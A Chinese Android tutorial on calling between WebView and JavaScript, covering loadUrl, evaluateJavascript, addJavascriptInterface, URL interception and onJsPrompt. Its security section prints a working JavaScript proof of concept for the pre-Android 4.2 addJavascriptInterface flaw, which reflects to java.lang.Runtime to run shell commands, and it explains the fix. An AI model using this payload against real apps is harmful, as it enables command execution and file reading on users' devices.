控件 -- WebView -- Android与JS交互

一、Android调用JS

方式1: WebView#loadUrl(String url)

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function androidCallJS(msg){
                alert("Android调用JS, msg: " + msg);
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
    </body>
</html>

//MainActivity
mCalljsBtn.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        String msg = "来自Android";
        mWebview.loadUrl("javascript:androidCallJS('" + msg + "')");
    }
});

//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
    //若返回true,则WebView不处理JavaScript的警告事件,由自己编写的程序处理JavaScript的警告事件
    //若返回false,则WebView处理JavaScript的警告事件
    @Override
    public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
        AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
        buidler.setTitle("JS alert 回调");
        buidler.setMessage(message);
        buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                result.confirm();
            }
        });
        buidler.setCancelable(false);
        buidler.create().show();
        return true;
    }
});

方式2: WebView#evaluateJavascript(String script, ValueCallback<String> resultCallback)

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function androidCallJS(msg){
                return "Android调用JS, msg: " + msg;
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
    </body>
</html>

//MainActivity
mCalljsBtn.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        String msg = "来自Android";
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
            mWebview.evaluateJavascript("javascript:androidCallJS('" + msg + "')", new ValueCallback<String>() {
                @Override
                public void onReceiveValue(String value) {
                    Log.d(TAG, "zwm, onReceiveValue: " + value);
                }
            });
        }
    }
});

方式对比

方式对比

使用建议

两种方式混合使用,Android 4.4以下使用方式1,Android 4.4以上方式2。

String msg = "来自Android";
if(Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) {
    mWebview.loadUrl("javascript:androidCallJS('" + msg + "')");
} else {
    mWebview.evaluateJavascript("javascript:androidCallJS('" + msg + "')", new ValueCallback<String>() {
        @Override
        public void onReceiveValue(String value) {
            Log.d(TAG, "zwm, onReceiveValue: " + value);
        }
    });
}

二、JS调用Android

方式1: 通过WebView#addJavascriptInterface(Object object, String name)进行对象映射

//JSCallAndroidObject
public class JSCallAndroidObject {
    private static String TAG = JSCallAndroidObject.class.getSimpleName();

    @JavascriptInterface
    public String jsCallAndroid(String msg) {
        Log.d(TAG, "zwm, jsCallAndroid msg: " + msg);
        return "来自Android";
    }
}

//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.addJavascriptInterface(new JSCallAndroidObject(), "jsCallAndroidObject");
mWebview.loadUrl("file:///android_asset/javascript.html");

//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
    //若返回true,则WebView不处理JavaScript的警告事件,由自己编写的程序处理JavaScript的警告事件
    //若返回false,则WebView处理JavaScript的警告事件
    @Override
    public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
        AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
        buidler.setTitle("JS alert 回调");
        buidler.setMessage(message);
        buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                result.confirm();
            }
        });
        buidler.setCancelable(false);
        buidler.create().show();
        return true;
    }
});

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function jsCallAndroid() {
                var result = jsCallAndroidObject.jsCallAndroid("JS调用Android, 来自JS");
                alert("JS调用Android, Android返回值: " + result);
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
        <br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
    </body>
</html>

安全漏洞:
在Android 4.2以前(不包含Android 4.2,API 17),使用WebView#addJavascriptInterface方法会引起远程代码执行漏洞。
1.产生原因
当JS拿到Android映射对象后,就可以调用这个对象的所有方法,还可以获取系统类对象(java.lang.Runtime),从而进行任意代码执行。

获取系统类对象过程如下:(结合Java反射机制)
(1)Android中的对象有一个公共的方法:getClass;
(2)该方法可以获取当前类的类型:Class;
(3)该类型有一个关键方法:Class.forName;
(4)该方法可以加载一个类对象:java.lang.Runtime;
(5)该类对象可以执行本地命令。

获取系统类对象代码如下:

<script>
  var i=0;  
  function getContents(inputStream)  
  {  
    var contents = ""+i;  
    var b = inputStream.read();  
    var i = 1;  
    while(b != -1) {  
        var bString = String.fromCharCode(b);  
        contents += bString;  
        contents += "\n"  
        b = inputStream.read();  
    }  
    i=i+1;  
    return contents;  
   }  
    
   function execute(cmdArgs)  
   {  
    for (var obj in window) {  
        console.log(obj);  
        if ("getClass" in window[obj]) {  
            alert(obj);  
            return window[obj].getClass().forName("java.lang.Runtime").  
                getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
         }  
     }  
   }   
    
  var p = execute(["ls","/mnt/sdcard/"]);  
  document.write(getContents(p.getInputStream()));  
</script>

//分析:
//1.execute方法:遍历所有window对象,找到包含getClass方法的对象,利用这个对象,找到java.lang.Runtime类,
//然后调用getRuntime静态方法得到Runtime的实例,再调用exec方法来执行某段命令。
//2.getContents方法:从流中读取内容。
//3.执行结果:列出SDCard中的文件。

2.解决方案
对于Android 4.2以前(不包含Android 4.2,API 17),需要采用拦截JS prompt的方式进行漏洞修复。
对于Android 4.2以后,只需要对被调用的函数以@JavascriptInterface进行注解。

方式2: 通过WebViewClient#shouldOverrideUrlLoading回调拦截url

shouldOverrideUrlLoading(WebView view, String url) //在API 24以后过时
shouldOverrideUrlLoading(WebView view, WebResourceRequest request) //在API 24以后新加的

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function jsCallAndroid() {
                <!--约定的url协议为:js://webview?arg1=111&arg2=222-->
                document.location = "js://webview?arg1=111&arg2=222";
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
        <br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
    </body>
</html>

//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.loadUrl("file:///android_asset/javascript.html");

//MainActivity
mWebview.setWebViewClient(new WebViewClient(){
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        Log.d(TAG, "zwm, shouldOverrideUrlLoading, url: " + url);
        //约定的url协议为:js://webview?arg1=111&arg2=222
        Uri uri = Uri.parse(url);
        if (uri.getScheme().equals("js")) {
            if (uri.getAuthority().equals("webview")) {
                String arg1 = uri.getQueryParameter("arg1");
                String arg2 = uri.getQueryParameter("arg2");
                Log.d(TAG, "zwm, JS调用Android, 来自JS, arg1: " + arg1 + ", arg2: " + arg2);
            }
            return true;
        }
        return super.shouldOverrideUrlLoading(view, url);
    }
});

如果JS想要得到Android方法的返回值,只能通过WebView#loadUrl方法去执行JS方法,把返回值传递回去,代码如下:

//javascript.html
function returnResult(result){
    alert("result: " + result);
}

//MainActivity
mWebView.loadUrl("javascript:returnResult('" + result + "')");

方式3: 通过WebChromeClient的onJsAlert方法、onJsConfirm方法、onJsPrompt方法回调拦截JS的alert警告事件、confirm确认事件、prompt输入事件

常用的拦截是:拦截JS的prompt输入事件。因为只有prompt输入框可以返回任意类型的值,而alert警告框没有返回值,confirm确认框只能返回两种状态值。

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function jsCallAndroid() {
                <!--约定的message协议为:js://webview?arg1=111&arg2=222-->
                var result = prompt("js://webview?arg1=111&arg2=222");
                alert("JS调用Android, Android返回值: " + result);
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
        <br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
    </body>
</html>

//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.loadUrl("file:///android_asset/javascript.html");

//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
    //若返回true,则WebView不处理JavaScript的警告事件,由自己编写的程序处理JavaScript的警告事件
    //若返回false,则WebView处理JavaScript的警告事件
    @Override
    public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
        AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
        buidler.setTitle("JS alert 回调");
        buidler.setMessage(message);
        buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                result.confirm();
            }
        });
        buidler.setCancelable(false);
        buidler.create().show();
        return true;
    }

    //若返回true,则WebView不处理JavaScript的输入事件,由自己编写的程序处理JavaScript的输入事件
    //若返回false,则WebView处理JavaScript的输入事件
    @Override
    public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
        Log.d(TAG, "zwm, onJsPrompt, url: " + url);
        //约定的message协议为:js://webview?arg1=111&arg2=222
        Uri uri = Uri.parse(message);
        if (uri.getScheme().equals("js")) {
            if (uri.getAuthority().equals("webview")) {
                String arg1 = uri.getQueryParameter("arg1");
                String arg2 = uri.getQueryParameter("arg2");
                Log.d(TAG, "zwm, JS调用Android, 来自JS, arg1: " + arg1 + ", arg2: " + arg2);
            }
            result.confirm("来自Android");
            return true;
        }
        return super.onJsPrompt(view, url, message, defaultValue, result);
    }
});

方式对比

方式对比
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,718评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,683评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,207评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,755评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,862评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,050评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,136评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,882评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,330评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,651评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,789评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,477评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,135评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,864评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,099评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,598评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,697评论 2 351